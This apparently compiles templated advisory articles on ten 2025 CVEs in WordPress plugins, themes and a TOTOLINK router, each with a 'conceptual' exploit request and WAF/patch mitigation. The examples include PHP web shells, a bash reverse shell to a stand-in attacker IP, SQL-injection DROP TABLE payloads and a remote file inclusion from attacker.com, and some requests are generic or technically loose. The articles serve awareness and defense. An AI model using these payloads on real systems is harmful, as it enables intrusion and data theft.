Author: Ameeba

Overview

The Common Vulnerabilities and Exposures system (CVE) has alerted the cybersecurity community to an alarming flaw in the Smart Notification system by smartiolabs. This flaw allows potential attackers to perform a Blind SQL Injection attack, potentially compromising the system or causing data leakage. The severity of this vulnerability, impacting software versions up to 10.3, is underscored by its high CVSS score of 9.3. This article will provide a detailed explanation of this vulnerability, its potential impacts, and the steps needed to mitigate its risk.

Vulnerability Summary

CVE ID: CVE-2025-39479
Severity: Critical (9.3 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Can lead to system compromise and potential data leakage

Affected Products

Product | Affected Versions

Smart Notification | Up to 10.3

How the Exploit Works

The vulnerability is based on an SQL Injection attack. In essence, an attacker can manipulate the input data to include SQL statements. These statements can then interact with the database in unintended ways, such as extracting, modifying, or even deleting data. This specific vulnerability, known as a Blind SQL Injection, is even more dangerous as the attacker can exploit it without any detailed error messages from the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This simple HTTP request includes a malicious SQL statement that could potentially compromise the system if not properly sanitized.

POST /smartnotify/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin'; DROP TABLE users; --" }

In this example, the attacker attempts to delete the “users” table from the database. If the system does not properly neutralize the special SQL commands, it could potentially execute the malicious SQL command, leading to a disastrous outcome.

How to Mitigate the Risk

The most effective mitigation for this vulnerability is to apply the vendor patch as soon as it is available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help minimize the risk. These systems can detect and block common SQL Injection attempts, providing a temporary safeguard against potential attacks.

Overview

The Common Vulnerabilities and Exposures system (CVE) has identified a significant security flaw in the popular Themeton Spare software. This vulnerability, categorized as CVE-2025-31919, poses a serious risk to any systems running versions of Spare up to 1.7.
The vulnerability revolves around the deserialization of untrusted data, which can lead to Object Injection. If exploited, this could result in a full system compromise or data leakage. Given the widespread use of Themeton Spare, this issue demands immediate attention from system administrators and security teams.

Vulnerability Summary

CVE ID: CVE-2025-31919
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Themeton Spare | Up to 1.7

How the Exploit Works

The vulnerability is based on the software’s insecure handling of serialized or “flattened” data. During the deserialization process, the software fails to properly validate or sanitize the incoming data. This allows an attacker to inject malicious objects into the data stream, which are then executed when the data is deserialized.
An attacker can exploit this vulnerability remotely, over the network, without requiring any special privileges or user interaction. If successfully exploited, the attacker gains control of the system and may also gain access to sensitive data.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. This is not an actual exploit code, but rather a demonstration of the type of malicious payload that could be used.

POST /deserialization-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "rO0ABXNyADJjb20udGhlbWV0b24uc3BhcmUuRXhhbXBsZU9iamVjdEV4cGxvaXQAAAAAAAAAAQIAAHhyADFjb20udGhlbWV0b24uc3BhcmUuRXhhbXBsZU9iamVjdAAAAAAAAAABAgAAeHAAAAAA=" }

In this example, the “serialized_object” field contains a Base64-encoded serialized object that includes malicious code. When the server deserializes this object, the malicious code is executed, leading to a potential system compromise.

Mitigation Guidance

Until a patch is available from the vendor, security teams are advised to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. These systems can be configured to identify and stop potentially malicious deserialization operations, providing a temporary mitigation for this issue.

Overview

In the world of cybersecurity, maintaining the integrity of web servers is of utmost importance. However, a new vulnerability, CVE-2025-49071, has been discovered that could potentially compromise the systems of those using the NasaTheme Flozen product. The vulnerability allows unrestricted uploading of files with dangerous types, including an ability to upload a Web Shell to a Web Server. This not only poses a threat to the integrity of web servers and data but also potentially opens doors for cybercriminals to gain unauthorized access and control over the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-49071
Severity: Critical (10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NasaTheme Flozen | All versions

How the Exploit Works

The exploit leverages the unrestricted file upload vulnerability in NasaTheme Flozen. An attacker could upload a malicious web shell to the server, which would then give them the power to execute arbitrary commands. This could lead to a total system compromise, allowing the attacker to manipulate the system, exfiltrate sensitive data, or even use the compromised system as a launch pad for further attacks.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP POST request that uploads a malicious web shell file to the vulnerable endpoint:

POST /upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, a malicious PHP web shell is uploaded to the server. Once uploaded, the attacker can use the `cmd` parameter to execute any command on the server, leading to a complete system compromise.

Mitigation Guidance

Users are advised to apply patches provided by the vendor as soon as possible. In the absence of a patch or as a temporary mitigation, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block suspicious file uploads. Additionally, it’s recommended to limit file upload functionality to authenticated and trusted users only, and implement server-side file type verification, to further secure your systems against similar vulnerabilities.

Overview

In the ever-evolving landscape of cybersecurity, certain vulnerabilities pose a significant threat to the confidentiality, integrity, and availability of data. One such vulnerability is CVE-2025-30618 which affects the Rapyd Payment Extension for WooCommerce. This vulnerability, classified as a deserialization of untrusted data issue, has the potential to compromise systems or lead to data leakage. The impact of this vulnerability is particularly severe for eCommerce platforms as it can directly facilitate unauthorized access to sensitive customer information.

Vulnerability Summary

CVE ID: CVE-2025-30618
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Rapyd Payment Extension for WooCommerce | n/a through 1.2.0

How the Exploit Works

The exploit leverages the deserialization of untrusted data vulnerability in the Rapyd Payment Extension for WooCommerce. Deserialization is the process of converting data from a flat file or a database into an object in an object-oriented programming language. This vulnerability arises when an attacker can manipulate the serialized (flattened) data to include malicious code, which is then executed when the data is deserialized (converted back into an object). In this case, the attacker can perform an Object Injection, essentially injecting malicious objects into the serialized data stream, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of a malicious HTTP request that could exploit this vulnerability:

POST /payment/process HTTP/1.1
Host: affected-woocommerce-site.com
Content-Type: application/json
{
"paymentData": "eyJvYmplY3RJZCI6IjEiLCJjbGFzcyI6Im1hbGljaW91cy1jbGFzcyIsIm1ldGhvZCI6Im1hbGljaW91cy1tZXRob2QifQ=="
}

In this example, the `paymentData` field contains a base64 encoded serialized object. If the object is maliciously crafted and the application doesn’t properly validate or sanitize the input, it could lead to remote code execution or data leakage when the object is deserialized.
Please note this example is conceptual and oversimplified for illustrative purposes. Actual exploitation of the vulnerability would likely involve complex manipulation of serialized objects and depend on specific application details.

Recommendations for Mitigation

The primary mitigation guidance for CVE-2025-30618 is to apply the vendor patch. For immediate protection, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. As a best practice, it is also crucial to ensure that all software components are regularly updated, and rigorous input validation and sanitization measures are in place.

Overview

We’re diving into a critical cybersecurity issue today that poses a significant risk to the users of RomanCode MapSVG. This blog post is about the security vulnerability CVE-2025-47559, which has a high severity score of 9.9 on the CVSS scale. The vulnerability allows threat actors to upload a web shell to a web server unrestrictedly. This poses a substantial threat to the system’s integrity and confidentiality, potentially leading to system compromise or data leakage.
Anyone using versions of RomanCode MapSVG up to 8.5.32 is affected by this vulnerability. It’s an issue of high importance due to the potential consequences of a successful exploit, which could include unauthorized access to sensitive data, disruption of service, or even complete control over the affected server.

Vulnerability Summary

CVE ID: CVE-2025-47559
Severity: Critical (9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

RomanCode MapSVG | Up to 8.5.32

How the Exploit Works

The vulnerability is rooted in the unrestricted file upload functionality of RomanCode MapSVG. An attacker can exploit this flaw by uploading a malicious web shell to the server. A web shell is a script that allows remote administration of the machine. Once uploaded, the attacker can execute arbitrary commands on the server, essentially gaining the same privileges as the server itself. This could lead to unauthorized access to data, disruption of the service, or even total system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious HTTP POST request to upload a web shell:

POST /upload HTTP/1.1
Host: vulnerable-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, we’re uploading a PHP web shell. Once uploaded, the attacker could execute commands by simply accessing the uploaded file via a web browser and passing commands through the ‘cmd’ GET parameter.
Please note that this is a conceptual example and should not be used for malicious activities. The purpose of this information is to create awareness of the vulnerability and to encourage prompt patching or mitigation.

Overview

A severe vulnerability, designated as CVE-2025-47452, has been discovered in the RexTheme WP VR view plugin. The vulnerability allows for unrestricted upload of files with dangerous types, posing a significant threat to the security and integrity of websites using this software. This issue is particularly critical as it enables attackers to upload a web shell to a web server, granting them extensive control over the server and potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47452
Severity: Critical (CVSS 9.9)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

RexTheme WP VR | Up to 8.5.26

How the Exploit Works

The exploit works by taking advantage of the unrestricted file upload vulnerability in RexTheme WP VR. Essentially, an attacker can upload a malicious file, typically a web shell, to the web server. The web shell runs commands directly on the server as if the attacker is locally executing them, thereby providing the attacker with control over the server. This could lead to further compromise of the system or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a HTTP POST request to upload a malicious web shell:

POST /wpvr_upload/ HTTP/1.1
Host: target.example.com
Content-Type: application/php
{ "file": "web_shell.php" }

In this example, the attacker is sending a POST request to the vulnerable endpoint (wpvr_upload) with a PHP web shell file (web_shell.php). If the server is vulnerable, it will accept the file and store it on the server, giving the attacker the ability to execute commands on the server remotely.

Mitigation and Remediation

As of now, the best method to mitigate this vulnerability is to apply the vendor-provided patch. If the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on attempts to exploit this vulnerability. However, these are only temporary measures and the vendor’s patch should be applied as soon as possible to fully mitigate the risk posed by CVE-2025-47452.

Overview

The existence of an unrestricted file upload vulnerability in ovatheme Ovatheme Events Manager has prompted the need for immediate attention and action. This vulnerability, designated as CVE-2025-32510, allows attackers to upload potentially malicious files, leading to severe security breaches. This issue is particularly concerning given the widespread usage of the Ovatheme Events Manager, especially in the event management and scheduling industry. A successful exploitation can lead to a full system compromise or data leakage, thereby posing a significant threat to data integrity and system security.

Vulnerability Summary

CVE ID: CVE-2025-32510
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Ovatheme Events Manager | Up to 1.7.5

How the Exploit Works

The exploit works by taking advantage of a lack of file type restrictions in the Ovatheme Events Manager’s file upload functionality. An attacker can craft a malicious file, often disguised as an innocuous file type, and upload it to the system. Once uploaded, the file can be executed, leading to varying levels of system compromise. This may include gaining unauthorized access, deploying malware, or leaking sensitive data.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP POST request exploiting the vulnerability:

POST /upload/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a malicious PHP file is uploaded to the vulnerable endpoint. The PHP script within the file is designed to create a reverse shell, allowing the attacker to execute arbitrary commands on the victim’s system.

Countermeasures

It is recommended that users of the affected Ovatheme Events Manager apply the vendor-released patch immediately. In cases where immediate patching is not feasible, it’s suggested to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious file upload attempts, thereby providing a layer of protection against potential exploitation.

Overview

The cybersecurity world is once again under the spotlight as another critical vulnerability has been identified, dubbed CVE-2025-24773. This particular vulnerability affects the widely used WPCRM – CRM for Contact form CF7 & WooCommerce, a plugin used for managing customer relationships in WooCommerce websites. The vulnerability is of high concern due to its potential in jeopardizing the security of critical data and systems.
The issue lies in the improper neutralization of special elements used in an SQL command, commonly referred to as an SQL Injection vulnerability. Given the severity of the vulnerability and the potential impact, understanding the nature of this vulnerability, how to detect it, and how to mitigate its effects is of utmost importance for any organization using the affected software.

Vulnerability Summary

CVE ID: CVE-2025-24773
Severity: High (9.3 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WPCRM – CRM for Contact form CF7 & WooCommerce | Up to and including 3.2.0

How the Exploit Works

The vulnerability allows an attacker to manipulate SQL queries in the application, enabling them to inject malicious SQL commands. Due to improper neutralization of special elements, an attacker can control the structure of the SQL command and potentially gain unauthorized access to the system, modify data, or even compromise the entire system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is represented as a HTTP POST request with a malicious SQL command in the payload.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_id": "1; DROP TABLE users; --"
}

In this example, the attacker manipulates the ‘user_id’ parameter to inject a malicious SQL command (‘DROP TABLE users’) that would delete the ‘users’ table from the database if executed.

Mitigation

The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can act as a temporary mitigation measure. Furthermore, it is recommended to follow good security practices such as input validation and parameterization to prevent SQL Injection attacks in general.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging every day. One such critical vulnerability, identified as CVE-2025-49282, has been discovered in the Unfoldwp Magze PHP program. This PHP Remote File Inclusion vulnerability is of high severity, impacting versions up to and including 1.0.9. The vulnerability stems from an improper control of filename for the Include/Require statement in PHP. It’s crucial for IT professionals and administrators who use or manage Unfoldwp Magze to understand this vulnerability, as it has the potential to compromise systems or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-49282
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Not Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magze | Up to and including 1.0.9

How the Exploit Works

The CVE-2025-49282 vulnerability results from the improper control of filename for the Include/Require statement in the PHP program of Unfoldwp Magze. This flaw allows an attacker to include a file from a remote server, which can be executed in the context of the application. The remote server could be controlled by the attacker, hence the file included could contain malicious PHP code. Consequently, an attacker could exploit this vulnerability to execute arbitrary code and gain unauthorized access to the system, potentially compromising the system or causing data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below. This is a sample HTTP GET request that includes a malicious PHP file from a remote server.

GET /vulnerable/endpoint?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In the above example, the “file” parameter is used to include a malicious PHP file from a remote server (attacker.com). The malicious PHP file could contain code that exploits the server, leading to unauthorized access or data leakage.

Mitigation Guidance

To mitigate the impact of this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability, providing an additional layer of security.

Overview

A critical security vulnerability, identified as CVE-2025-6165, has been detected in TOTOLINK X15 version 1.0.0-B20230714.1105. This vulnerability, residing in the HTTP POST Request Handler, specifically affects the file /boafrm/formTmultiAP. The manipulation of the argument ‘submit-url’ leads to a buffer overflow, opening a door for potential attackers to compromise the system or leak sensitive data.
As the exploit is now publicly disclosed, it is essential for organizations using the affected products to understand the implications and promptly apply the necessary countermeasures to protect their systems and data.

Vulnerability Summary

CVE ID: CVE-2025-6165
Severity: Critical (CVSS score 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK X15 | 1.0.0-B20230714.1105

How the Exploit Works

The vulnerability exposes the system to a buffer overflow attack, caused by improper input validation of the ‘submit-url’ argument in the HTTP POST Request Handler of the affected file. Attackers can manipulate this argument with specially crafted input, causing the system to allocate inadequate buffer space. This overflow of data can overwrite other memory areas, leading to potential unauthorized code execution or information disclosure.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, using an HTTP POST request. Please note this is a hypothetical example and does not contain actual malicious code:

POST /boafrm/formTmultiAP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=VERY_LONG_STRING_THAT_CAUSES_BUFFER_OVERFLOW

In the above sample, the ‘submit-url’ argument is filled with an excessively long string, causing a buffer overflow in the system. This could potentially allow an attacker to execute arbitrary code or access sensitive data.

Recommended Mitigation

Users of the affected TOTOLINK X15 version are strongly advised to apply the vendor-provided patch as soon as possible to resolve this vulnerability. If the patch cannot be immediately applied, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as a temporary mitigation measure to detect and block attempts to exploit this vulnerability. However, these should not be seen as long-term solutions but as part of a layered security strategy.